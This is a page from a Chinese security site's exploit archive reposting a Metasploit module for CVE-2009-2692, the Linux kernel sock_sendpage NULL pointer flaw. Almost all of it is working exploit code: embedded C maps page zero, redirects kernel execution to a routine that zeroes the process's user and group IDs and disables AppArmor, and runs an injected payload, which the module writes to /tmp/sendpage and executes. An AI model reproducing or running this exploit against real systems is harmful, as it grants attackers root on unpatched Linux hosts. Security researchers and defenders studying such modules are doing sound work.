首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel Sendpage Local Privilege Escalation
来源:http://www.metasploit.com 作者:egypt 发布时间:2012-07-19  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
	Rank = GreatRanking

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::LinuxKernel
	include Msf::Exploit::Local::Linux
	include Msf::Exploit::Local::Unix

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'Linux Kernel Sendpage Local Privilege Escalation',
				'Description'   => %q{
					The Linux kernel failed to properly initialize some entries the
					proto_ops struct for several protocols, leading to NULL being
					derefenced and used as a function pointer. By using mmap(2) to map
					page 0, an attacker can execute arbitrary code in the context of the
					kernel.

					Several public exploits exist for this vulnerability, including
					spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.

					All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
					2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'Tavis Ormandy',                     # discovery
						'Julien Tinnes <julien at cr0.org>', # discovery
						'spender',                           # wunderbar_emporium.tgz
						'rcvalle',                           # sock_sendpage.c
						'egypt'                              # metasploit module
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => [ ARCH_X86 ],
				'SessionTypes'  => [ 'shell', 'meterpreter' ],
				'References'    =>
					[
						[ 'CVE', '2009-2692' ],
						[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
						[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
					],
				'Targets'       =>
					[
						[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
						#[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
					],
				'DefaultTarget' => 0,
				'DisclosureDate' => "Aug 13 2009",
			}
			))
	end

	def exploit
		sc = Metasm::ELF.new(@cpu)
		sc.parse %Q|
			#define DEBUGGING
			#define NULL ((void*)0)
			#ifdef __ELF__
				.section ".bss" rwx
				.section ".text" rwx
				.entrypoint
			#endif
			call main
			;push eax
			call exit
		|

		# Set up the same include order as the bionic build system.
		# See external/source/meterpreter/source/bionic/libc/Jamfile
		cparser.lexer.include_search_path = [
			"external/source/meterpreter/source/bionic/libc/include/",
			"external/source/meterpreter/source/bionic/libc/private/",
			"external/source/meterpreter/source/bionic/libc/bionic/",
			"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
			"external/source/meterpreter/source/bionic/libc/kernel/common/",
			"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
		]

		cparser.parse(%Q|
			#define DEBUGGING
			// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
			#ifndef __extension__
			#define __extension__
			#endif
			// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
			// Doing #if on an undefined macro is fine in GCC, but a parse error in
			// metasm.
			#ifndef __STDC__
			#define __STDC__ 0
			#endif
			#include <sys/types.h>
			#include <sys/mman.h>
			#include <stdarg.h>
			#include <stdio.h>
			#include <unistd.h>
			#include <errno.h>
			/*
			OpenBSD's strcmp from string/strcmp.c in bionic
			*/
			int
			strcmp(const char *s1, const char *s2)
			{
				while (*s1 == *s2++)
					if (*s1++ == 0)
						return (0);
				return (*(unsigned char *)s1 - *(unsigned char *)--s2);
			}
		|)

		[
			"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
			"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
			"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
			"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
			# This parses without any trouble, but actually calling perror() causes
			# immediate segfaults.
			#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

			# For some ungodly reason, NULL ends up being undefined when parsing this
			# guy, which of course causes parse errors.
			#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

		].each do |fname|
			print_status("Parsing c file #{fname}")
			cparser.parse(File.read(fname), fname)
		end

		print_status("Unix socket.h")
		unix_socket_h(sc)
		current_task_struct_h(sc)

		case target.arch.first
		when ARCH_X86
		print_status("syscall wrappers")
			linux_x86_syscall_wrappers(sc)
			main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
	PF_BLUETOOTH,
	PF_APPLETALK,
	PF_IPX,
	PF_IRDA,
	PF_X25,
	PF_AX25,
	PF_BLUETOOTH,
	PF_PPPOX,
	DOMAINS_STOP
	};

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[256];
	int ret;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL) {
			printf("Unable to obtain symbol listing!\n");
			return 0;
		}
	}

	ret = 0;
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf(" [+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}


static void
change_cred(void)
{
	unsigned int *task_struct;

	task_struct = (unsigned int *)current_task_struct();

	while (task_struct) {
		if (task_struct[0] == uid && task_struct[1] == uid &&
				task_struct[2] == uid && task_struct[3] == uid &&
				task_struct[4] == gid && task_struct[5] == gid &&
				task_struct[6] == gid && task_struct[7] == gid) {
			task_struct[0] = task_struct[1] =
			task_struct[2] = task_struct[3] =
			task_struct[4] = task_struct[5] =
			task_struct[6] = task_struct[7] = 0;
			break;
		}

		task_struct++;
	}

	return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

	got_ring0 = 1;
	if (apparmor_enabled && *apparmor_enabled) {
		*apparmor_enabled = 0;
	}
	change_cred();
	return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
	int i = 0;
	int d;
	int in_fd, out_fd;
	char *mapped;
	char template[] = "/tmp/sendfile.XXXXXX";
	int (*func)();

	uid = getuid(), gid = getgid();

	mapped = mmap(NULL , 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
			0, 0
		);
	if (mapped == NULL) {
		printf("Mapped zero page!\n");
	} else {
		exit(1);
	}

	// jmp dword near [dword 0x8]
	mapped[0] = '\xff';
	mapped[1] = '\x25';
	*(unsigned long *)&mapped[2] = 8;
	*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

	for (i = 0; i < 16; i++) {
		printf("\\\\x%02x", (unsigned char)mapped[i]);
	}
	printf("\n");

	for (d = 0; domains[d] != DOMAINS_STOP; d++) {
		//printf("Next domain ... ");
		out_fd = socket(domains[d], SOCK_DGRAM, 0);
		if (out_fd > 0) {
			printf("Got domain[%d]\n", d);
			break;
		}
		if (out_fd < 0) {
			printf("out_fd: %d, Errno: %d\n", out_fd, errno);
			exit(1);
		}
	}
	unlink(template);
	// Couldn't get mkstemp to work, just use open(2) for now
	in_fd = open(template, O_CREAT | O_RDWR, 0777);
	printf("Opened temp file: %d\n", in_fd);
	unlink(template);
	printf("Calling ftruncate\n");
	ftruncate(in_fd, 4096);

	printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
	printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
	sendfile(out_fd, in_fd, NULL, 4096);
	printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
	printf("UID: %d GID: %d\n", getuid(), getgid());

	func = mmap(NULL, 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_PRIVATE | MAP_ANONYMOUS,
			0, 0
		);
	mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
	// weaksauce memcpy so we don't have to #include <string.h>
	printf("Copying %d bytes of shellcode\n", shellcode_size);
	for (i = 0; i < shellcode_size; i++) {
		(char)func[i] = (char)shellcode[i];
	}
	printf("Calling shellcode: 0x%p\n", func);
	//sigtrap();
	func();

	return got_ring0;
}
^
			main.gsub!(/shellcode =/) do
				# split the payload into 16-byte chunks and dump it out as a
				# hex-escaped C string
				%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
			end
			main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
			cparser.parse(main, "main.c")

			asm = cpu.new_ccompiler(cparser, sc).compile

			sc.parse asm
		end

		sc.assemble

		begin
			if sc.kind_of? Metasm::ELF
				elf = sc.encode_string
			else
				foo = sc.encode_string
				elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
			end
		rescue
			print_error "Metasm Encoding failed: #{$!}"
			elog "Metasm Encoding failed: #{$!.class} : #{$!}"
			elog "Call stack:\n#{$!.backtrace.join("\n")}"
			return
		end

		#puts Rex::Text.to_hex_dump(foo)
		File.open("payload.bin", "wb") {|fd|
			fd.write elf
		}
		print_status "Writing exploit executable (#{elf.length} bytes)"
		cmd_exec("rm /tmp/sendpage")
		write_file("/tmp/sendpage", elf)
		output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
		output.each_line { |line| print_debug line.chomp }
		#cmd_exec("rm /tmp/sendpage")

	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows Escalate Task Schedule
·Novell ZENworks Configuration
·Simple Web Server 2.2 rc2 Remo
·Novell ZENworks Configuration
·Novell ZENworks Configuration
·Setuid Nmap Exploit
·Novell ZENworks Configuration
·Arora Browser 0.10.2 Denial Of
·PHP 6.0 openssl_verify() Local
·ptunnel <= 0.72 Remote Denial
·httpdx 1.5.4 Remote HTTP Serve
·Google Chrome 19 metro_driver.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved